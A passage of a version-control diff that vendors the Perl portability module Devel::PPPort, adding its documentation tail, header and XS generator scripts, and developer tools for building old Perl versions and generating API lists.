+or simply because it hasn't been implemented yet. Patches welcome!
+
+Here's a list of the currently unsupported API, and also the version of
+Perl below which it is unsupported:
+
+=over 4
+
+__UNSUPPORTED_API__
+
+=back
+
+=head1 BUGS
+
+If you find any bugs, C<Devel::PPPort> doesn't seem to build on your
+system, or any of its tests fail, please send a bug report to
+L<perlbug at perl.org|mailto:perlbug at perl.org>.
+
+=head1 AUTHORS
+
+=over 2
+
+=item *
+
+Version 1.x of Devel::PPPort was written by Kenneth Albanowski.
+
+=item *
+
+Version 2.x was ported to the Perl core by Paul Marquess.
+
+=item *
+
+Version 3.x was ported back to CPAN by Marcus Holland-Moritz.
+
+=item * 
+
+Versions >= 3.22 are maintained with support from Matthew Horsfall (alh).
+
+=back
+
+=head1 COPYRIGHT
+
+Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+
+Version 2.x, Copyright (C) 2001, Paul Marquess.
+
+Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<h2xs>, L<ppport.h>.
+
+=cut
+
+package Devel::PPPort;
+
+use strict;
+use vars qw($VERSION $data);
+
+$VERSION = '3.40';
+
+sub _init_data
+{
+  $data = do { local $/; <DATA> };
+  my $pkg = 'Devel::PPPort';
+  $data =~ s/__PERL_VERSION__/$]/g;
+  $data =~ s/__VERSION__/$VERSION/g;
+  $data =~ s/__PKG__/$pkg/g;
+  $data =~ s/^\|>//gm;
+}
+
+sub GetFileContents {
+  my $file = shift || 'ppport.h';
+  defined $data or _init_data();
+  my $copy = $data;
+  $copy =~ s/\bppport\.h\b/$file/g;
+
+  return $copy;
+}
+
+sub WriteFile
+{
+  my $file = shift || 'ppport.h';
+  my $data = GetFileContents($file);
+  open F, ">$file" or return undef;
+  print F $data;
+  close F;
+
+  return 1;
+}
+
+1;
+
+__DATA__
+#if 0
+<<'SKIP';
+#endif
+/*
+----------------------------------------------------------------------
+
+    ppport.h -- Perl/Pollution/Portability Version __VERSION__
+
+    Automatically created by __PKG__ running under perl __PERL_VERSION__.
+
+    Do NOT edit this file directly! -- Edit PPPort_pm.PL and the
+    includes in parts/inc/ instead.
+
+    Use 'perldoc ppport.h' to view the documentation below.
+
+----------------------------------------------------------------------
+
+SKIP
+
+%include ppphdoc { indent => '|>' }
+
+%include ppphbin
+
+__DATA__
+*/
+
+#ifndef _P_P_PORTABILITY_H_
+#define _P_P_PORTABILITY_H_
+
+#ifndef DPPP_NAMESPACE
+#  define DPPP_NAMESPACE DPPP_
+#endif
+
+#define DPPP_CAT2(x,y) CAT2(x,y)
+#define DPPP_(name) DPPP_CAT2(DPPP_NAMESPACE, name)
+
+%include version
+
+%include threads
+
+%include limits
+
+%include uv
+
+%include memory
+
+%include magic
+
+%include misc
+
+%include format
+
+%include mess
+
+%include variables
+
+%include mPUSH
+
+%include call
+
+%include newRV
+
+%include newCONSTSUB
+
+%include MY_CXT
+
+%include SvREFCNT
+
+%include newSV_type
+
+%include newSVpv
+
+%include SvPV
+
+%include Sv_set
+
+%include sv_xpvf
+
+%include shared_pv
+
+%include HvNAME
+
+%include gv
+
+%include warn
+
+%include pvs
+
+%include cop
+
+%include grok
+
+%include snprintf
+
+%include sprintf
+
+%include exception
+
+%include strlfuncs
+
+%include pv_tools
+
+#endif /* _P_P_PORTABILITY_H_ */
+
+/* End of File ppport.h */

Added: vendor/perl/dist/dist/Devel-PPPort/PPPort_xs.PL
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/PPPort_xs.PL	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/PPPort_xs.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,128 @@
+################################################################################
+#
+#  PPPort_xs.PL -- generate RealPPPort.xs
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+$^W = 1;
+require "./parts/ppptools.pl";
+
+my %SECTION = (
+  xshead => { code => '', header => "/* ---- code from __FILE__ ---- */" },
+  xsinit => { code => '', header => "/* ---- code from __FILE__ ---- */" },
+  xsmisc => { code => '', header => "/* ---- code from __FILE__ ---- */" },
+  xsboot => { code => '', header => "/* ---- code from __FILE__ ---- */", indent => "\t" },
+  xsubs  => { code => '', header => <<ENDHEADER },
+##----------------------------------------------------------------------
+##  XSUBs for testing the implementation in __FILE__
+##----------------------------------------------------------------------
+ENDHEADER
+);
+
+if (not exists $ENV{PERL_NO_GET_CONTEXT} or $ENV{PERL_NO_GET_CONTEXT}) {
+$SECTION{xshead}{code} .= <<END;
+#define PERL_NO_GET_CONTEXT
+END
+}
+
+my $file;
+my $sec;
+
+for $file (all_files_in_dir('parts/inc')) {
+  my $spec = parse_partspec($file);
+
+  my $msg = 0;
+  for $sec (keys %SECTION) {
+    if (exists $spec->{$sec}) {
+      $msg++ or print "adding XS code from $file\n";
+      if (exists $SECTION{$sec}{header}) {
+        my $header = $SECTION{$sec}{header};
+        $header =~ s/__FILE__/$file/g;
+        $SECTION{$sec}{code} .= $header . "\n";
+      }
+      $SECTION{$sec}{code} .= $spec->{$sec} . "\n";
+    }
+  }
+}
+
+my $data = do { local $/; <DATA> };
+
+for $sec (keys %SECTION) {
+  my $code = $SECTION{$sec}{code};
+  if (exists $SECTION{$sec}{indent}) {
+    $code =~ s/^/$SECTION{$sec}{indent}/gm;
+  }
+  $code =~ s/[\r\n]+$//;
+  $data =~ s/^__\U$sec\E__$/$code/m;
+}
+
+open FH, ">RealPPPort.xs" or die "RealPPPort.xs: $!\n";
+print FH $data;
+close FH;
+
+exit 0;
+
+__DATA__
+/*******************************************************************************
+*
+*  !!!!! Do NOT edit this file directly! -- Edit PPPort_xs.PL instead. !!!!!
+*
+*  This file was automatically generated from the definition files in the
+*  parts/inc/ subdirectory by PPPort_xs.PL. To learn more about how all this
+*  works, please read the F<HACKERS> file that came with this distribution.
+*
+********************************************************************************
+*
+*  Perl/Pollution/Portability
+*
+********************************************************************************
+*
+*  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+*  Version 2.x, Copyright (C) 2001, Paul Marquess.
+*  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+*
+*  This program is free software; you can redistribute it and/or
+*  modify it under the same terms as Perl itself.
+*
+*******************************************************************************/
+
+/* ========== BEGIN XSHEAD ================================================== */
+
+__XSHEAD__
+
+/* =========== END XSHEAD =================================================== */
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+/* ========== BEGIN XSINIT ================================================== */
+
+__XSINIT__
+
+/* =========== END XSINIT =================================================== */
+
+#include "ppport.h"
+
+/* ========== BEGIN XSMISC ================================================== */
+
+__XSMISC__
+
+/* =========== END XSMISC =================================================== */
+
+MODULE = Devel::PPPort          PACKAGE = Devel::PPPort
+
+BOOT:
+__XSBOOT__
+
+__XSUBS__

Added: vendor/perl/dist/dist/Devel-PPPort/apicheck_c.PL
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/apicheck_c.PL	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/apicheck_c.PL	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,22 @@
+################################################################################
+#
+#  apicheck_c.PL -- generate apicheck.c
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+
+my $out = 'apicheck.c';
+my @api = map { /^--api=(\w+)$/ ? ($1) : () } @ARGV;
+print "creating $out", (@api ? " (@api)" : ''), "\n";
+system $^X, 'parts/apicheck.pl', @api, $out
+    and die "couldn't create $out\n";

Added: vendor/perl/dist/dist/Devel-PPPort/devel/buildperl.pl
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/devel/buildperl.pl	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/devel/buildperl.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,606 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+#  buildperl.pl -- build various versions of perl automatically
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+use Pod::Usage;
+use File::Find;
+use File::Path;
+use Data::Dumper;
+use IO::File;
+use Cwd;
+
+# TODO: - extra arguments to Configure
+
+#
+#  --test-archives=1      check if archives can be read
+#  --test-archives=2      like 1, but also extract archives
+#  --test-archives=3      like 2, but also apply patches
+#
+
+my %opt = (
+  prefix    => '/tmp/perl/install/<config>/<perl>',
+  build     => '/tmp/perl/build/<config>',
+  source    => '/tmp/perl/source',
+  force     => 0,
+  test      => 0,
+  install   => 1,
+  oneshot   => 0,
+  configure => 0,
+  'test-archives' => 0,
+);
+
+my %config = (
+  default     => {
+                   config_args => '-des',
+                 },
+  thread      => {
+                   config_args     => '-des -Dusethreads',
+                   masked_versions => [ qr/^5\.00[01234]/ ],
+                 },
+  thread5005  => {
+                   config_args     => '-des -Duse5005threads',
+                   masked_versions => [ qr/^5\.00[012345]|^5\.(9|\d\d)|^5\.8\.9/ ],
+                 },
+  debug       => {
+                   config_args => '-des -Doptimize=-g',
+                 },
+);
+
+my @patch = (
+  {
+    perl => [
+              qr/^5\.00[01234]/,
+              qw/
+                5.005
+                5.005_01
+                5.005_02
+                5.005_03
+              /,
+            ],
+    subs => [
+              [ \&patch_db, 1 ],
+            ],
+  },
+  {
+    perl => [
+              qw/
+                5.6.0
+                5.6.1
+                5.7.0
+                5.7.1
+                5.7.2
+                5.7.3
+                5.8.0
+              /,
+            ],
+    subs => [
+              [ \&patch_db, 3 ],
+            ],
+  },
+  {
+    perl => [
+              qr/^5\.004_0[1234]$/,
+            ],
+    subs => [
+              [ \&patch_doio ],
+            ],
+  },
+  {
+    perl => [
+              qw/
+                5.005
+                5.005_01
+                5.005_02
+              /,
+            ],
+    subs => [
+              [ \&patch_sysv, old_format => 1 ],
+            ],
+  },
+  {
+    perl => [
+              qw/
+                5.005_03
+                5.005_04
+              /,
+              qr/^5\.6\.[0-2]$/,
+              qr/^5\.7\.[0-3]$/,
+              qr/^5\.8\.[0-8]$/,
+              qr/^5\.9\.[0-5]$/
+            ],
+    subs => [
+              [ \&patch_sysv ],
+            ],
+  },
+  {
+    perl => [
+              qr/^5\.004_05$/,
+              qr/^5\.005(?:_0[1-4])?$/,
+              qr/^5\.6\.[01]$/,
+            ],
+    subs => [
+              [ \&patch_configure ],
+              [ \&patch_makedepend_lc ],
+            ],
+  },
+  {
+    perl => [
+              '5.8.0',
+            ],
+    subs => [
+              [ \&patch_makedepend_lc ],
+            ],
+  },
+);
+
+my(%perl, @perls);
+
+GetOptions(\%opt, qw(
+  config=s@
+  prefix=s
+  build=s
+  source=s
+  perl=s@
+  force
+  test
+  install!
+  test-archives=i
+  patch!
+  oneshot
+)) or pod2usage(2);
+
+my %current;
+
+if ($opt{patch} || $opt{oneshot}) {
+  @{$opt{perl}} == 1 or die "Exactly one --perl must be given with --patch or --oneshot\n";
+  my $perl = $opt{perl}[0];
+  patch_source($perl) if !exists $opt{patch} || $opt{patch};
+  if (exists $opt{oneshot}) {
+    eval { require String::ShellQuote };
+    die "--oneshot requires String::ShellQuote to be installed\n" if $@;
+    %current = (config => 'oneshot', version => $perl);
+    $config{oneshot} = { config_args => String::ShellQuote::shell_quote(@ARGV) };
+    build_and_install($perl{$perl});
+  }
+  exit 0;
+}
+
+if (exists $opt{config}) {
+  for my $cfg (@{$opt{config}}) {
+    exists $config{$cfg} or die "Unknown configuration: $cfg\n";
+  }
+}
+else {
+  $opt{config} = [sort keys %config];
+}
+
+find(sub {
+  /^(perl-?(5\..*))\.tar\.(gz|bz2|lzma)$/ or return;
+  $perl{$1} = { version => $2, source => $File::Find::name, compress => $3 };
+}, $opt{source});
+
+if (exists $opt{perl}) {
+  for my $perl (@{$opt{perl}}) {
+    my $p = $perl;
+    exists $perl{$p} or $p = "perl$perl";
+    exists $perl{$p} or $p = "perl-$perl";
+    exists $perl{$p} or die "Cannot find perl: $perl\n";
+    push @perls, $p;
+  }
+}
+else {
+  @perls = sort keys %perl;
+}
+
+if ($opt{'test-archives'}) {
+  my $test = 'test';
+  my $cwd = cwd;
+  -d $test or mkpath($test);
+  chdir $test or die "chdir $test: $!\n";
+  for my $perl (@perls) {
+    eval {
+      my $d = extract_source($perl{$perl});
+      if ($opt{'test-archives'} > 2) {
+        my $cwd2 = cwd;
+        chdir $d or die "chdir $d: $!\n";
+        patch_source($perl{$perl}{version});
+        chdir $cwd2 or die "chdir $cwd2:$!\n"
+      }
+      rmtree($d) if -e $d;
+    };
+    warn $@ if $@;
+  }
+  chdir $cwd or die "chdir $cwd: $!\n";
+  print STDERR "cleaning up\n";
+  rmtree($test);
+  exit 0;
+}
+
+for my $cfg (@{$opt{config}}) {
+  for my $perl (@perls) {
+    my $config = $config{$cfg};
+    %current = (config => $cfg, perl => $perl, version => $perl{$perl}{version});
+
+    if (is($config->{masked_versions}, $current{version})) {
+      print STDERR "skipping $perl for configuration $cfg (masked)\n";
+      next;
+    }
+
+    if (-d expand($opt{prefix}) and !$opt{force}) {
+      print STDERR "skipping $perl for configuration $cfg (already installed)\n";
+      next;
+    }
+
+    my $cwd = cwd;
+
+    my $build = expand($opt{build});
+    -d $build or mkpath($build);
+    chdir $build or die "chdir $build: $!\n";
+
+    print STDERR "building $perl with configuration $cfg\n";
+    buildperl($perl, $config);
+
+    chdir $cwd or die "chdir $cwd: $!\n";
+  }
+}
+
+sub expand
+{
+  my $in = shift;
+  $in =~ s/(<(\w+)>)/exists $current{$2} ? $current{$2} : $1/eg;
+  return $in;
+}
+
+sub is
+{
+  my($s1, $s2) = @_;
+
+  defined $s1 != defined $s2 and return 0;
+
+  ref $s2 and ($s1, $s2) = ($s2, $s1);
+
+  if (ref $s1) {
+    if (ref $s1 eq 'ARRAY') {
+      is($_, $s2) and return 1 for @$s1;
+      return 0;
+    }
+    return $s2 =~ $s1;
+  }
+
+  return $s1 eq $s2;
+}
+
+sub buildperl
+{
+  my($perl, $cfg) = @_;
+
+  my $d = extract_source($perl{$perl});
+  chdir $d or die "chdir $d: $!\n";
+
+  patch_source($perl{$perl}{version});
+
+  build_and_install($perl{$perl});
+}
+
+sub extract_source
+{
+  eval { require Archive::Tar };
+  die "Archive processing requires Archive::Tar to be installed\n" if $@;
+
+  my $perl = shift;
+
+  my $what = $opt{'test-archives'} ? 'test' : 'read';
+  print "${what}ing $perl->{source}\n";
+
+  my $target;
+
+  for my $f (Archive::Tar->list_archive($perl->{source})) {
+    my($t) = $f =~ /^([^\\\/]+)/ or die "ooops, should always match...\n";
+    die "refusing to extract $perl->{source}, as it would not extract to a single directory\n"
+        if defined $target and $target ne $t;
+    $target = $t;
+  }
+
+  if ($opt{'test-archives'} == 0 || $opt{'test-archives'} > 1) {
+    if (-d $target) {
+      print "removing old build directory $target\n";
+      rmtree($target);
+    }
+
+    print "extracting $perl->{source}\n";
+
+    Archive::Tar->extract_archive($perl->{source})
+        or die "extract failed: " . Archive::Tar->error() . "\n";
+
+    -d $target or die "oooops, $target not found\n";
+  }
+
+  return $target;
+}
+
+sub patch_source
+{
+  my $version = shift;
+
+  for my $p (@patch) {
+    if (is($p->{perl}, $version)) {
+      for my $s (@{$p->{subs}}) {
+        my($sub, @args) = @$s;
+        $sub->(@args);
+      }
+    }
+  }
+}
+
+sub build_and_install
+{
+  my $perl = shift;
+  my $prefix = expand($opt{prefix});
+
+  run_or_die(q{sed -i -e "s:\\*/\\*) finc=\\"-I\\`echo \\$file | sed 's#/\\[^/\\]\\*\\$##\\`\\" ;;:*/*) finc=\\"-I\\`echo \\$file | sed 's#/[^/]\\*\\$##'\\`\\" ;;:" makedepend.SH});
+
+  print "building perl $perl->{version} ($current{config})\n";
+
+  run_or_die("./Configure $config{$current{config}}{config_args} -Dusedevel -Uinstallusrbinperl -Dprefix=$prefix");
+  if (-f "x2p/makefile") {
+    run_or_die("sed -i -e '/^.*<builtin>/d' -e '/^.*<built-in>/d' -e '/^.*<command line>/d' -e '/^.*<command-line>/d' makefile x2p/makefile");
+  }
+  run_or_die("make all");
+  run("make test") if $opt{test};
+  if ($opt{install}) {
+    run_or_die("make install");
+  }
+  else {
+    print "\n*** NOT INSTALLING PERL ***\n\n";
+  }
+}
+
+sub patch_db
+{
+  my $ver = shift;
+  print "patching ext/DB_File/DB_File.xs\n";
+  run_or_die("sed -i -e 's/<db.h>/<db$ver\\/db.h>/' ext/DB_File/DB_File.xs");
+}
+
+sub patch_doio
+{
+  patch(<<'END');
+--- doio.c.org	2004-06-07 23:14:45.000000000 +0200
++++ doio.c	2003-11-04 08:03:03.000000000 +0100
+@@ -75,6 +75,16 @@
+ #  endif
+ #endif
+
++#if _SEM_SEMUN_UNDEFINED
++union semun
++{
++  int val;
++  struct semid_ds *buf;
++  unsigned short int *array;
++  struct seminfo *__buf;
++};
++#endif
++
+ bool
+ do_open(gv,name,len,as_raw,rawmode,rawperm,supplied_fp)
+ GV *gv;
+END
+}
+
+sub patch_sysv
+{
+  my %opt = @_;
+
+  # check if patching is required
+  return if $^O ne 'linux' or -f '/usr/include/asm/page.h';
+
+  if ($opt{old_format}) {
+    patch(<<'END');
+--- ext/IPC/SysV/SysV.xs.org	1998-07-20 10:20:07.000000000 +0200
++++ ext/IPC/SysV/SysV.xs	2007-08-12 10:51:06.000000000 +0200
+@@ -3,9 +3,6 @@
+ #include "XSUB.h"
+ 
+ #include <sys/types.h>
+-#ifdef __linux__
+-#include <asm/page.h>
+-#endif
+ #if defined(HAS_MSG) || defined(HAS_SEM) || defined(HAS_SHM)
+ #include <sys/ipc.h>
+ #ifdef HAS_MSG
+END
+  }
+  else {
+    patch(<<'END');
+--- ext/IPC/SysV/SysV.xs.org	2007-08-11 00:12:46.000000000 +0200
++++ ext/IPC/SysV/SysV.xs	2007-08-11 00:10:51.000000000 +0200
+@@ -3,9 +3,6 @@
+ #include "XSUB.h"
+ 
+ #include <sys/types.h>
+-#ifdef __linux__
+-#   include <asm/page.h>
+-#endif
+ #if defined(HAS_MSG) || defined(HAS_SEM) || defined(HAS_SHM)
+ #ifndef HAS_SEM
+ #   include <sys/ipc.h>
+END
+  }
+}
+
+sub patch_configure
+{
+  patch(<<'END');
+--- Configure
++++ Configure
+@@ -3380,6 +3380,18 @@
+ test "X$gfpthkeep" != Xy && gfpth=""
+ EOSC
+ 
++# gcc 3.1 complains about adding -Idirectories that it already knows about,
++# so we will take those off from locincpth.
++case "$gccversion" in
++3*)
++    echo "main(){}">try.c
++    for incdir in `$cc -v -c try.c 2>&1 | \
++       sed '1,/^#include <\.\.\.>/d;/^End of search list/,$d;s/^ //'` ; do
++       locincpth=`echo $locincpth | sed s!$incdir!!`
++    done
++    $rm -f try try.*
++esac
++
+ : What should the include directory be ?
+ echo " "
+ $echo $n "Hmm...  $c"
+END
+}
+
+sub patch_makedepend_lc
+{
+  patch(<<'END');
+--- makedepend.SH
++++ makedepend.SH
+@@ -58,6 +58,10 @@ case $PERL_CONFIG_SH in
+       ;;
+ esac
+ 
++# Avoid localized gcc/cc messages
++LC_ALL=C
++export LC_ALL
++
+ # We need .. when we are in the x2p directory if we are using the
+ # cppstdin wrapper script.
+ # Put .. and . first so that we pick up the present cppstdin, not
+END
+}
+
+sub patch
+{
+  my($patch) = @_;
+  print "patching $_\n" for $patch =~ /^\+{3}\s+(\S+)/gm;
+  my $diff = 'tmp.diff';
+  write_or_die($diff, $patch);
+  run_or_die("patch -s -p0 <$diff");
+  unlink $diff or die "unlink $diff: $!\n";
+}
+
+sub write_or_die
+{
+  my($file, $data) = @_;
+  my $fh = new IO::File ">$file" or die "$file: $!\n";
+  $fh->print($data);
+}
+
+sub run_or_die
+{
+  # print "[running @_]\n";
+  system "@_" and die "@_: $?\n";
+}
+
+sub run
+{
+  # print "[running @_]\n";
+  system "@_" and warn "@_: $?\n";
+}
+
+__END__
+
+=head1 NAME
+
+buildperl.pl - build/install perl distributions
+
+=head1 SYNOPSIS
+
+  perl buildperl.pl [options]
+
+  --help                      show this help
+
+  --source=directory          directory containing source tarballs
+                              [default: /tmp/perl/source]
+
+  --build=directory           directory used for building perls [EXPAND]
+                              [default: /tmp/perl/build/<config>]
+
+  --prefix=directory          use this installation prefix [EXPAND]
+                              [default:
+                              /tmp/perl/install/<config>/<perl>]
+
+  --config=configuration      build this configuration [MULTI]
+                              [default: all possible configurations]
+
+  --perl=version              build this version of perl [MULTI]
+                              [default: all possible versions]
+
+  --force                     rebuild and install already installed
+                              versions
+
+  --test                      run test suite after building
+
+  --noinstall                 don't install after building
+
+  --patch                     only patch the perl source in the current
+                              directory
+
+  --oneshot                   build from the perl source in the current
+                              directory (extra arguments are passed to
+                              Configure)
+
+  options tagged with [MULTI] can be given multiple times
+
+  options tagged with [EXPAND] expand the following items
+
+    <perl>      versioned perl directory  (e.g. 'perl-5.6.1')
+    <version>   perl version              (e.g. '5.6.1')
+    <config>    name of the configuration (e.g. 'default')
+
+=head1 EXAMPLES
+
+The following examples assume that your Perl source tarballs are
+in F</tmp/perl/source>. If they are somewhere else, use the C<--source>
+option to specify a different source directory.
+
+To build a default configuration of perl5.004_05 and install it
+to F</opt/perl5.004_05>, you would say:
+
+  buildperl.pl --prefix='/opt/<perl>' --perl=5.004_05 --config=default
+
+To build debugging configurations of all perls in the source directory
+and install them to F</opt>, use:
+
+  buildperl.pl --prefix='/opt/<perl>' --config=debug
+
+To build all configurations for perl-5.8.5 and perl-5.8.6, test them
+and don't install them, run:
+
+  buildperl.pl --perl=5.8.5 --perl=5.8.6 --test --noinstall
+
+To build and install a single version of perl with special configuration
+options, use:
+
+  buildperl.pl --perl=5.6.0 --prefix=/opt/p560ld --oneshot -- -des \
+                                                   -Duselongdouble
+
+=head1 COPYRIGHT
+
+Copyright (c) 2004-2013, Marcus Holland-Moritz.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+=head1 SEE ALSO
+
+See L<Devel::PPPort> and L<HACKERS>.

Added: vendor/perl/dist/dist/Devel-PPPort/devel/devtools.pl
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/devel/devtools.pl	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/devel/devtools.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,123 @@
+################################################################################
+#
+#  devtools.pl -- various utility functions
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use IO::File;
+
+eval "use Term::ANSIColor";
+$@ and eval "sub colored { pop; @_ }";
+
+my @argvcopy = @ARGV;
+
+sub verbose
+{
+  if ($opt{verbose}) {
+    my @out = @_;
+    s/^(.*)/colored("($0) ", 'bold blue').colored($1, 'blue')/eg for @out;
+    print STDERR @out;
+  }
+}
+
+sub ddverbose
+{
+  return $opt{verbose} ? ('--verbose') : ();
+}
+
+sub runtool
+{
+  my $opt = ref $_[0] ? shift @_ : {};
+  my($prog, @args) = @_;
+  my $sysstr = join ' ', map { "'$_'" } $prog, @args;
+  $sysstr .= " >$opt->{'out'}"  if exists $opt->{'out'};
+  $sysstr .= " 2>$opt->{'err'}" if exists $opt->{'err'};
+  verbose("running $sysstr\n");
+  my $rv = system $sysstr;
+  verbose("$prog => exit code $rv\n");
+  return not $rv;
+}
+
+sub runperl
+{
+  my $opt = ref $_[0] ? shift @_ : {};
+  runtool($opt, $^X, @_);
+}
+
+sub run
+{
+  my $prog = shift;
+  my @args = @_;
+
+  runtool({ 'out' => 'tmp.out', 'err' => 'tmp.err' }, $prog, @args);
+
+  my $out = IO::File->new("tmp.out") or die "tmp.out: $!\n";
+  my $err = IO::File->new("tmp.err") or die "tmp.err: $!\n";
+
+  my %rval = (
+    status    => $? >> 8,
+    stdout    => [<$out>],
+    stderr    => [<$err>],
+    didnotrun => 0,
+  );
+
+  unlink "tmp.out", "tmp.err";
+
+  $? & 128 and $rval{core}   = 1;
+  $? & 127 and $rval{signal} = $? & 127;
+
+  return \%rval;
+}
+
+sub ident_str
+{
+  return "$^X $0 @argvcopy";
+}
+
+sub identify
+{
+  verbose(ident_str() . "\n");
+}
+
+sub ask($)
+{
+  my $q = shift;
+  my $a;
+  local $| = 1;
+  print "\n$q [y/n] ";
+  do { $a = <>; } while ($a !~ /^\s*([yn])\s*$/i);
+  return lc $1 eq 'y';
+}
+
+sub quit_now
+{
+  print "\nSorry, cannot continue.\n\n";
+  exit 1;
+}
+
+sub ask_or_quit
+{
+  quit_now unless &ask;
+}
+
+sub eta
+{
+  my($start, $i, $n) = @_;
+  return "--:--:--" if $i < 3;
+  my $elapsed = tv_interval($start);
+  my $h = int($elapsed*($n-$i)/$i);
+  my $s = $h % 60; $h /= 60;
+  my $m = $h % 60; $h /= 60;
+  return sprintf "%02d:%02d:%02d", $h, $m, $s;
+}
+
+1;

Added: vendor/perl/dist/dist/Devel-PPPort/devel/mkapidoc.sh
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/devel/mkapidoc.sh	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/devel/mkapidoc.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,81 @@
+#!/bin/bash
+################################################################################
+#
+#  mkapidoc.sh -- generate apidoc.fnc from scanning the Perl source
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+function isperlroot
+{
+  [ -f "$1/embed.fnc" ] && [ -f "$1/perl.h" ]
+}
+
+function usage
+{
+  echo "USAGE: $0 [perlroot] [output-file] [embed.fnc]"
+  exit 0
+}
+
+if [ -z "$1" ]; then
+  if isperlroot "../../.."; then
+    PERLROOT=../../..
+  else
+    PERLROOT=.
+  fi
+else
+  PERLROOT=$1
+fi
+
+if [ -z "$2" ]; then
+  if [ -f "parts/apidoc.fnc" ]; then
+    OUTPUT="parts/apidoc.fnc"
+  else
+    usage
+  fi
+else
+  OUTPUT=$2
+fi
+
+if [ -z "$3" ]; then
+  if [ -f "parts/embed.fnc" ]; then
+    EMBED="parts/embed.fnc"
+  else
+    usage
+  fi
+else
+  EMBED=$3
+fi
+
+if isperlroot $PERLROOT; then
+  cat >$OUTPUT <<EOF
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+:  !!!! Do NOT edit this file directly! -- Edit devel/mkapidoc.sh instead. !!!!
+:
+:  This file was automatically generated from the API documentation scattered
+:  all over the Perl source code. To learn more about how all this works,
+:  please read the F<HACKERS> file that came with this distribution.
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+
+:
+: This file lists all API functions/macros that are documented in the Perl
+: source code, but are not contained in F<embed.fnc>.
+:
+
+EOF
+  grep -hr '^=for apidoc' $PERLROOT | sed -e 's/=for apidoc //' | grep '|' | sort | uniq \
+     | perl -e'$f=pop;open(F,$f)||die"$f:$!";while(<F>){(split/\|/)[2]=~/(\w+)/;$h{$1}++}
+               while(<>){s/[ \t]+$//;(split/\|/)[2]=~/(\w+)/;$h{$1}||print}' $EMBED >>$OUTPUT
+else
+  usage
+fi

Added: vendor/perl/dist/dist/Devel-PPPort/devel/mktodo
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/devel/mktodo	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/devel/mktodo	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,58 @@
+#!/usr/bin/perl -w
+################################################################################
+#
+#  mktodo -- generate baseline and todo files by running mktodo.pl
+#
+################################################################################
+#
+#  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+#  Version 2.x, Copyright (C) 2001, Paul Marquess.
+#  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the same terms as Perl itself.
+#
+################################################################################
+
+use strict;
+use Getopt::Long;
+
+require './devel/devtools.pl';
+
+our %opt = (
+  base    => 0,
+  check   => 1,
+  verbose => 0,
+  install => '/tmp/perl/install/default',
+  blead   => 'bleadperl-debug',
+);
+
+GetOptions(\%opt, qw( base check! verbose install=s blead=s blead-version=s )) or die;
+
+identify();
+
+my $outdir = 'parts/todo';
+
+my @perls = sort { $b->{version} <=> $a->{version} }
+            map { { version => `$_ -e 'printf "%.6f", \$]'`, path => $_ } }
+            ($opt{blead}, grep !/-RC\d+/, glob "$opt{install}/*/bin/perl5.*");
+
+if (exists $opt{'blead-version'}) {
+  $perls[0]{version} = $opt{'blead-version'};
+}
+
